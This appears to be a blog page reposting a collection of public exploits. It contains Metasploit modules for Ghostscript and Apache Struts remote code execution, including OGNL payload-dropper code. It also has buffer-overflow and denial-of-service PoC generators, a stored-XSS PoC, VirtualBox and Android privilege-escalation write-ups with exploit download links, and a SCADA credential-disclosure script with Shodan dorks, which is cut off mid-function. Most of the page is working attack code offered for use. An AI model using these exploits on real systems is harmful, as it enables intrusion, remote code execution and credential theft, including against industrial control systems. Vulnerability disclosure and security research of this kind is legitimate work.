Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863580643

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  PLACEHOLDER_STRING  = 'metasploit'
  PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ghostscript Failed Restore Command Execution',
      'Description'    => %q{
        This module exploits a -dSAFER bypass in Ghostscript to execute
        arbitrary commands by handling a failed restore (grestore) in
        PostScript to disable LockSafetyParams and avoid invalidaccess.

        This vulnerability is reachable via libraries such as ImageMagick,
        and this module provides the latest vector for Ghostscript.

        For previous Ghostscript vectors, please see the following modules:
          exploit/unix/fileformat/ghostscript_type_confusion
          exploit/unix/fileformat/imagemagick_delegate
      },
      'Author'         => [
        'Tavis Ormandy', # Vuln discovery and exploit
        'wvu'            # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-16509'],
        ['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
        ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
      ],
      'DisclosureDate' => 'Aug 21 2018',
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix', 'linux', 'win'],
      'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Targets'        => [
        ['Unix (In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Type'        => :unix_memory,
         'Payload'     => {'Space' => 4089, 'DisableNops' => true} # 4096 total
        ],
        ['PowerShell (In-Memory)',
         'Platform'    => 'win',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :psh_memory
        ],
        ['Linux (Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def exploit
    sploit = template

    # Replace our placeholder string with a random one
    sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))

    # Replace our test payload with the real one
    case target['Type']
    when :unix_memory
      sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
    when :psh_memory
      psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)

      # XXX: Payload space applies to the payload, not the PSH command
      if psh.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller payload')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, psh)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        linemax: targets[0].payload_space,
        temp:    datastore['WritableDir']
      ).join(';')

      # XXX: Payload space applies to the payload, not the command stager
      if cmdstager.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
    end

    file_create(sploit)
  end

  def template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
    ))
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in Apache Struts
        version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
        via an endpoint that makes use of a redirect action.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      #TODO: Is that second paragraph above still accurate?
      'Author'         => [
        'Man Yue Mo', # Discovery
        'hook-s3c',   # PoC
        'asoto-r7',   # Metasploit module
        'wvu'         # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-11776'],
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
        ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
      ],
      'Privileged'     => false,
      'Targets'        => [
        [
          'Automatic detection', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Windows', {
            'Platform'   => %w{ windows },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Linux', {
            'Platform'       => %w{ unix linux },
            'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
          },
        ],
      ],
      'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
          OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
          OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
          OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
          OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
        ]
      )
  end

  def check
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
    ognl = "#_memberAccess['allowStaticMethodAccess']"

    resp = send_struts_request(ognl)

    # If vulnerable, the server should return an HTTP 302 (Redirect)
    #   and the 'Location' header should contain either 'true' or 'false'
    if resp && resp.headers['Location']
      output = resp.headers['Location']
      vprint_status("Redirected to:  #{output}")
      if (output.include? '/true/')
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      elsif (output.include? '/false/')
        print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
        datastore['ENABLE_STATIC'] = true
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    elsif resp && resp.code==400
      # METHOD 2: Generate two random numbers, ask the target to add them together.
      #   If it does, it's vulnerable.
      a = rand(10000)
      b = rand(10000)
      c = a+b

      ognl = "#{a}+#{b}"

      resp = send_struts_request(ognl)

      if resp.headers['Location'].include? c.to_s
        vprint_status("Redirected to:  #{resp.headers['Location']}")
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    end
  end

  def exploit
    case payload.arch.first
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload()
    end
  end

  def encode_ognl(ognl)
    # Check and fail if the command contains the follow bad characters:
    #   ';' seems to terminates the OGNL statement
    #   '/' causes the target to return an HTTP/400 error
    #   '\' causes the target to return an HTTP/400 error (sometimes?)
    #   '\r' ends the GET request prematurely
    #   '\n' ends the GET request prematurely

    # TODO: Make sure the following line is uncommented
    bad_chars = %w[; \\ \r \n]    # and maybe '/'
    bad_chars.each do |c|
      if ognl.include? c
        print_error("Bad OGNL request: #{ognl}")
        fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
      end
    end

    # The following list of characters *must* be encoded or ORNL will asplode
    encodable_chars = { "%": "%25",       # Always do this one first.  :-)
                        " ": "%20",
                        "\"":"%22",
                        "#": "%23",
                        "'": "%27",
                        "<": "%3c",
                        ">": "%3e",
                        "?": "%3f",
                        "^": "%5e",
                        "`": "%60",
                        "{": "%7b",
                        "|": "%7c",
                        "}": "%7d",
                       #"\/":"%2f",       # Don't do this.  Just leave it front-slashes in as normal.
                       #";": "%3b",       # Doesn't work.  Anyone have a cool idea for a workaround?
                       #"\\":"%5c",       # Doesn't work.  Anyone have a cool idea for a workaround?
                       #"\\":"%5c%5c",    # Doesn't work.  Anyone have a cool idea for a workaround?
                      }

    encodable_chars.each do |k,v|
     #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)
      ognl.gsub!("#{k}","#{v}")
    end
    return ognl
  end

  def send_struts_request(ognl, payload: nil)
=begin  #badchar-checking code
    pre = ognl
=end

    ognl = "${#{ognl}}"
    vprint_status("Submitted OGNL: #{ognl}")
    ognl = encode_ognl(ognl)

    headers = {'Keep-Alive': 'timeout=5, max=1000'}

    if payload
      vprint_status("Embedding payload of #{payload.length} bytes")
      headers[datastore['HEADER']] = payload
    end

    # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
    uri = "/#{ognl}/#{datastore['ACTION']}"

    resp = send_request_cgi(
     #'encode'  => true,     # this fails to encode '\', which is a problem for me
      'uri'     => uri,
      'method'  => datastore['HTTPMethod'],
      'headers' => headers
    )

    if resp && resp.code == 404
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
    end

=begin  #badchar-checking code
    print_status("Response code: #{resp.code}")
    #print_status("Response recv: BODY '#{resp.body}'") if resp.body
    if resp.headers['Location']
      print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
      if resp.headers['Location'].split('/')[1] == pre[1..-2]
        print_good("GOT 'EM!")
      else
        print_error("                       #{pre[1..-2]}")
      end
    end
=end

    resp
  end

  def profile_target
    # Use OGNL to extract properties from the Java environment

    properties = { 'os.name': nil,          # e.g. 'Linux'
                   'os.arch': nil,          # e.g. 'amd64'
                   'os.version': nil,       # e.g. '4.4.0-112-generic'
                   'user.name': nil,        # e.g. 'root'
                   #'user.home': nil,       # e.g. '/root' (didn't work in testing)
                   'user.language': nil,    # e.g. 'en'
                   #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
                   }

    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|('#{rand_text_alpha(2)}')|
    properties.each do |k,v|
      ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
    end
    ognl = ognl[0...-4]

    r = send_struts_request(ognl)

    if r.code == 400
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
    elsif r.headers['Location']
      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
      #   Extract the OGNL output from the Location path, and strip the two random chars
      s = r.headers['Location'].split('/')[1][2..-1]

      if s.nil?
        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
        #   But we didn't get any output, so we can't profile the target.  Abort.
        return nil
      end

      # Confirm that all fields were returned, and non include extra (:) delimiters
      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.
      if s.count(':') > properties.length
        print_error("Failed to profile target.  Response from server: #{r.to_s}")
        fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
      end

      # Separate the colon-delimited properties and store in the 'properties' hash
      s = s.split(':')
      i = 0
      properties.each do |k,v|
        properties[k] = s[i]
        i += 1
      end

      print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
        " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
      return properties
    else
      print_error("Failed to profile target.  Response from server: #{r.to_s}")
      fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
    end
  end

  def execute_command(cmd_input, opts={})
    # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
    if cmd_input.include? ';'
      print_warning("WARNING: Command contains bad characters: semicolons (;).")
    end

    begin
      properties = profile_target
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
    end

    if (os.include? 'linux') || (os.include? 'nix')
      cmd = "{'sh','-c','#{cmd_input}'}"
    elsif os.include? 'win'
      cmd = "{'cmd.exe','/c','#{cmd_input}'}"
    else
      vprint_error("Failed to detect target OS.  Attempting to execute command directly")
      cmd = cmd_input
    end

    # The following OGNL will run arbitrary commands on Windows and Linux
    #   targets, as well as returning STDOUT and STDERR.  In my testing,
    #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.

    vprint_status("Executing: #{cmd}")

    ognl =  ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start()).|
    ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
    ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
    ognl << %q|(#r.flush())|

    r = send_struts_request(ognl)

    if r && r.code == 200
      print_good("Command executed:\n#{r.body}")
    elsif r
      if r.body.length == 0
        print_status("Payload sent, but no output provided from server.")
      elsif r.body.length > 0
        print_error("Failed to run command.  Response from server: #{r.to_s}")
      end
    end
  end

  def send_payload
    # Probe for the target OS and architecture
    begin
      properties = profile_target
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
    end

    data_header = datastore['HEADER']
    if data_header.empty?
      fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
    end

    random_filename = datastore['TEMPFILE']

    # d = data stream from HTTP header
    # f = path to temp file
    # s = stream/handle to temp file
    ognl  = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
    ognl << %q|(#s.write(#d)).|
    ognl << %q|(#s.close()).|
    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete()).|

    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|

    exe = [generate_payload_exe].pack("m").delete("\n")
    r = send_struts_request(ognl, payload: exe)

    if r && r.headers && r.headers['Location'].split('/')[1] == success_string
      print_good("Payload successfully dropped and executed.")
    elsif r && r.headers['Location']
      vprint_error("RESPONSE: " + r.headers['Location'])
      fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
    elsif r && r.code == 400
      fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
    end
  end
end
            
# Exploit Title: InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-10
# Vendor Homepage: https://on.wonderware.com/
# Software Link: https://on.wonderware.com/intouch-machine-edition
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
 
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InTouch_Machine_Edition_8.1.py
# 2.- Open InTouch_Machine_Edition_8.1.txt and copy content to clipboard
# 3.- Open ITME v8.1 InTouch Machine Edition
# 4.- Inicio
# 5.- Paste ClipBoard on "Nombre del Tag"
 
#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"
 
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InTouch_Machine_Edition_8.1.txt", "w")
f.write(buffer)
f.close()
            
# Exploit Title: Bayanno Hospital Management System 4.0 - Cross-Site Scripting
# Date: 2018-09-05
# Software Link: https://codecanyon.net/item/bayanno-hospital-management-system/5814621
# Exploit Author: Gokhan Sagoglu
# Vendor Homepage:: http://creativeitem.com/
# Version: v4.0
# Live Demo: http://creativeitem.com/demo/bayanno/index.php?home
# Category: webapps

# 1. Description
# Due to improper user input management and lack of output encoding, unauthenticated users are able 
# to inject malicious code via making an appointment. Malicious code runs on admin panel.

# 2. PoC

- To make an appointment go to: /bayanno/index.php?home/appointment
- Select “New Patient”.
- Type <script>alert(1)</script> as name.
- Fill the other fields with proper values.
- Click on “Book Now” button.
- Go to admin panel and login as admin: /bayanno/index.php?login
- To view patients go to: /bayanno/index.php?admin/patient
- Malicious script will run.
            
# Exploit Title: HTML5 Video Player 1.2.5 - Denial of Service (PoC)
# Date: 2018-09-07
# Exploit Author: T3jv1l
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: https://twitter.com/T3jv1l
# Version: HTML5 Video Player V.1.2.5
# Tested on: Windows 7 SP1 x86

# PoC:
# 1.  Download and install the setup file
# 2.  A file "Evil.txt" will be created
# 3.  Click Help > Register... in tool bar
# 4.  Copy the contents of the file (poc.txt) and paste in the Registration Name field 
# 5.  Click Activate and BOOMMMM !!!! 

#!/usr/bin/python

buffer = "\x41" * 4000
payload = buffer
try:
    f=open("poc.txt","w")
    print "[+] Creating %s bytes payload..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
Oracle fixed some of the issues I reported in VirtualBox during the Oracle Critical Patch Update - April 2018. CVE-2018-2844 was an interesting double fetch vulnerability in VirtualBox Video Acceleration (VBVA) feature affecting Linux hosts. VBVA feature works on top of VirtualBox Host-Guest Shared Memory Interface (HGSMI), a shared memory implemented using Video RAM buffer. The VRAM buffer is at physical address 0xE0000000 

I didn't see such optimization in VirtualBox for Windows and OSX. Only Linux hosts are affected. 

Find a value in VBoxDD.so (assume as some fake jump table), which during relative address calculation will point into the 16MB shared VRAM buffer. For the proof-of-concept exploit fill the entire VRAM with NOP's and place the shellcode at the final pages of the mapping. No ASLR bypass is needed since the jump is relative. 

In the guest, add vboxvideo to /etc/modprobe.d/blacklist.conf. vboxvideo.ko driver has a custom allocator to manage VRAM memory and HGSMI guest side implementations. Blacklisting vboxvideo reduces activity on VRAM and keeps the payload intact. The exploit was tested with Ubuntu Server as Guest and Ubuntu Desktop as host running VirtualBox 5.2.6.r120293.

The proof-of-concept exploit code with process continuation and connect back over network can be found at virtualbox-cve-2018-2844

https://www.voidsecurity.in/2018/08/from-compiler-optimization-to-code.html
https://github.com/renorobert/virtualbox-cve-2018-2844

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45372.zip
            
After reporting https://bugs.chromium.org/p/project-zero/issues/detail?id=1583
(Android ID 80436257, CVE-2018-9445), I discovered that this issue could also
be used to inject code into the context of the zygote. Additionally, I
discovered a privilege escalation path from zygote to init; that escalation path
is why I'm filing a new bug.

Essentially, the privilege escalation from zygote to init is possible because
system/sepolicy/private/zygote.te contains the following rule:

    allow zygote self:capability sys_admin;

(On the current AOSP master branch, the rule looks slightly different, but it's
still there.)

This rule allows processes in the zygote domain to use the CAP_SYS_ADMIN
capability, if they have such a capability. The zygote has the capability and
uses it, e.g. to call umount() and to install seccomp filters without setting
the NO_NEW_PRIVS flag. CAP_SYS_ADMIN is a bit of a catch-all capability: If
kernel code needs to check that the caller has superuser privileges and none of
the capability bits fit the particular case, CAP_SYS_ADMIN is usually used.
The capabilities(7) manpage has a long, but not exhaustive, list of things that
this capability permits:
http://man7.org/linux/man-pages/man7/capabilities.7.html

One of the syscalls that can be called with CAP_SYS_ADMIN and don't have
significant additional SELinux hooks is pivot_root(). This syscall can be used
to switch out the root of the current mount namespace and, as part of that,
change the root of every process in that mount namespace to the new namespace
root (unless the process already had a different root).

The exploit for this issue is in zygote_exec_target.c, starting at
"if (unshare(CLONE_NEWNS))". The attack is basically:

1. set up a new mount namespace with a root that is fully attacker-controlled
2. execute crash_dump64, causing an automatic transition to the crash_dump
   domain
3. the kernel tries to load the linker for crash_dump64 from the
   attacker-controlled filesystem, resulting in compromise of the crash_dump
   domain
4. from the crash_dump domain, use ptrace() to inject syscalls into vold
5. from vold, set up a loop device with an attacker-controlled backing device
   and mount the loop device over /sbin, without "nosuid"
6. from vold, call request_key() with a nonexistent key, causing a
   usermodehelper invocation to /sbin/request-key, which is labeled as
   init_exec, causing an automatic domain transition from kernel to init (and
   avoiding the "neverallow kernel *:file { entrypoint execute_no_trans };"
   aimed at stopping exploits using usermodehelpers)
7. code execution in the init domain


Note that this is only one of multiple possible escalation paths; for example,
I think that you could also enable swap on an attacker-controlled file, then
modify the swapped-out data to effectively corrupt the memory of any userspace
process that hasn't explicitly locked all of its memory into RAM.



In order to get into the zygote in the first place, I have to trigger
CVE-2018-9445 twice:

1. Use the bug to mount a "public volume" with a FAT filesystem over /data/misc.
2. Trigger the bug again with a "private volume" with a dm-crypt-protected
   ext4 filesystem that will be mounted over /data. To decrypt the volume, a key
   from /data/misc/vold/ is used.
3. Cause system_server to crash in order to trigger a zygote reboot. For this,
   the following exception is targeted:

 *** FATAL EXCEPTION IN SYSTEM PROCESS: NetworkStats
 java.lang.NullPointerException: Attempt to get length of null array
        at com.android.internal.util.FileRotator.getActiveName(FileRotator.java:309)
        at com.android.internal.util.FileRotator.rewriteActive(FileRotator.java:183)
        at com.android.server.net.NetworkStatsRecorder.forcePersistLocked(NetworkStatsRecorder.java:300)
        at com.android.server.net.NetworkStatsRecorder.maybePersistLocked(NetworkStatsRecorder.java:286)
        at com.android.server.net.NetworkStatsService.performPollLocked(NetworkStatsService.java:1194)
        at com.android.server.net.NetworkStatsService.performPoll(NetworkStatsService.java:1151)
        at com.android.server.net.NetworkStatsService.-wrap3(Unknown Source:0)
        at com.android.server.net.NetworkStatsService$HandlerCallback.handleMessage(NetworkStatsService.java:1495)
        at android.os.Handler.dispatchMessage(Handler.java:102)
        at android.os.Looper.loop(Looper.java:164)
        at android.os.HandlerThread.run(HandlerThread.java:65)

   This exception can be triggered by sending >=2MiB (mPersistThresholdBytes) of
   network traffic to the device, then either waiting for the next periodic
   refresh of network stats or changing the state of a network interface.

4. The rebooting zygote64 does dlopen() on
   /data/dalvik-cache/arm64/system@framework@boot.oat, resulting in code
   execution in the zygote64. (For the zygote64 to get to this point, it's
   sufficient to symlink
   /data/dalvik-cache/arm64/system@framework@boot.{art,vdex} to their
   counterparts on /system, even though that code isn't relocated properly.)

I have attached an exploit for the full chain, with usage instructions in USAGE.

WARNING: As always, this exploit is intended to be used only on research devices that don't store user data. This specific exploit is known to sometimes cause data corruption.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45379.zip
            
# Exploit Title: jiNa OCR Image to Text 1.0 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-10
# Software Link: http://www.convertimagetotext.net/downloadsoftware.php
# Tested Version: 1.0
# Tested on OS: Windows 7 32-bit

# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.png".
# Now start the program. Now when you are inside of the program attempt to convert the file "exploit.png" to pdf.
# Now wait and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.png","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Title: RoboImport 1.2.0.72 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-11
# Software Link: http://www.picajet.com/download/RoboImportInstall.exe
# Tested Version: 1.2.0.72
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. 
# Now paste the contents of "exploit.txt" into the fields:"Registration Name" & "Registration key"
# Click the "Register" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Title: PicaJet FX 2.6.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-11
# Software Link: http://www.picajet.com/download/PicaJetFXInstall.exe
# Tested Version: 2.6.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Help" > "Register PicaJet..."
# Now paste the contents of "exploit.txt" into the fields:"Registration Name" & "Registration Key"
# Click the "OK" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Title: CirCarLife SCADA 4.3.0 - Credential Disclosure	
# Date: 2018-09-10
# Exploit Author: David Castro
# Vendor Homepage: https://circontrol.com/
# Shodan Dork: Server: CirCarLife Server: PsiOcppApp
# Version: CirCarLife Scada all versions under 4.3.0 OCPP implementation all versions under 1.5.0
# CVE : CVE-2018-12634

'''
Description: Mutiple information disclosure issues, including admin credentials disclosure
'''

import requests
from requests.auth import HTTPDigestAuth
from termcolor import colored
from bs4 import BeautifulSoup
import xml.etree.ElementTree as ET
import re
import json
import base64 

cabecera = '''
                              _.-="_-         _
                         _.-="   _-          | ||"""""""---._______     __..
             ___.===""""-.______-,,,,,,,,,,,,`-''----" """""       """""  __'
      __.--""     __        ,'     CIR-PWN-LIFE  o \            __        [__|
 __-""=======.--""  ""--.=================================.--""  ""--.=======:
]       [w] : /        \ : |========================|    : /        \ :  [w] :
V___________:| SadFud75 |: |========================|    :|          |:   _-"
 V__________: \        / :_|=======================/_____: \        / :__-"
 -----------'  "-____-"  `-------------------------------'  "-____-"

'''

print colored(cabecera, 'white')
print colored('[*] POC for automated exploitation for CirControl SCADA systems (circarlife and OCPP (Open Charge Point Protocol))', 'blue')
print colored('[?] Vendor site: https://circontrol.com/', 'yellow')
print colored('[*] CVEs associated: ', 'blue') 
print colored('CVE-2018-12634, CVE-2018-16668, CVE-2018-16669, CVE-2018-16670, CVE-2018-16671, CVE-2018-16672', 'yellow')
print colored('[*] CirCarLife Scada versions affected: ', 'blue') 
print colored('[+] All versions are vulnerable. No patch available, last version 4.3.0 (09/09/2018)', 'green')
print colored('[*] PsiOcppApp (PowerStudio integration Open Charge Point Protocol Application) versions affected: ', 'blue') 
print colored('[+] All versions are vulnerable. No patch available, last version 1.5.0 (09/09/2018)', 'green')
print colored('[*] Shodan dorks: ', 'blue')
print colored('[+] Server: CirCarLife', 'green')
print colored('[+] Server: PsiOcppApp', 'green')
print colored('[?] More vulnerability POCs at https://github.com/SadFud/Exploits', 'yellow')

plcs = []
logutil = ['GPRS modem details']
autenticado = False

arr_versionessoft = []
arr_ldevstat = []
str_repository = ''
str_lversioneshard = ''
arr_logdetails = []
str_lsetup = ''
str_lconfig = ''

def lversionessoft(): 
    print colored('[*] Getting software versions via CVE-2018-16671', 'blue')
    leakv = requests.get(target1 + '/html/device-id')
    versiones = leakv.text.encode("utf8").split('\n')
    print colored('[+] Software versions collected succesfully', 'green')
    return versiones

def ldevstat(): 
    print colored('[*] Getting plc status via CVE-2018-16670', 'blue')
    leakstats = requests.get(target1 + '/services/user/values.xml?var=STATUS')
    statsraw = leakstats.text
    tree = ET.fromstring(statsraw)
    for i in range(0,len(tree.findall(".//variable"))):
        for j in range(0,2):
            plcs.append(tree[i][j].text)
    print colored('[+] information leaked from ' + str(len(plcs)/2) + ' plcs', 'green')
    return plcs

def plcstatus(code): 
    code = int(code)
    if code == 1:
        print colored('[+] OK', 'green')
    elif code == 2:
        if code == 0x10:
            if code == 0x20:
                print colored('[-] Error: Time out.', 'red')
            elif code == 0x40:
                print colored('[-] Error: Bad device.', 'red')
            elif code == 0x80:
                print colored('[-] Error: Bad phase.', 'red')
            elif code == 0x100:
                print colored('[-] Error: Bad version.', 'red')
        else:
            print colored('[-] Error: Unknown error.', 'red')
    elif code == 4:
        print colored('[-] Error: not initialized.', 'red')
    else:
        print colored('[?] Unknown code.', 'yellow')

def repository(): 
    print colored('[*] Getting installation paths via CVE-2018-16668', 'blue')
    path = requests.get(target1 + '/html/repository')
    rutas = path.text.encode("utf8").split('\n')
    platformpath = rutas[1].split(' ')
    platformpath = platformpath[0]
    appsrc = rutas[3]
    appsrc = rutas[3].split(' ')
    appsrc = appsrc[0]
    raiz = str(appsrc).find('/circarlife/')
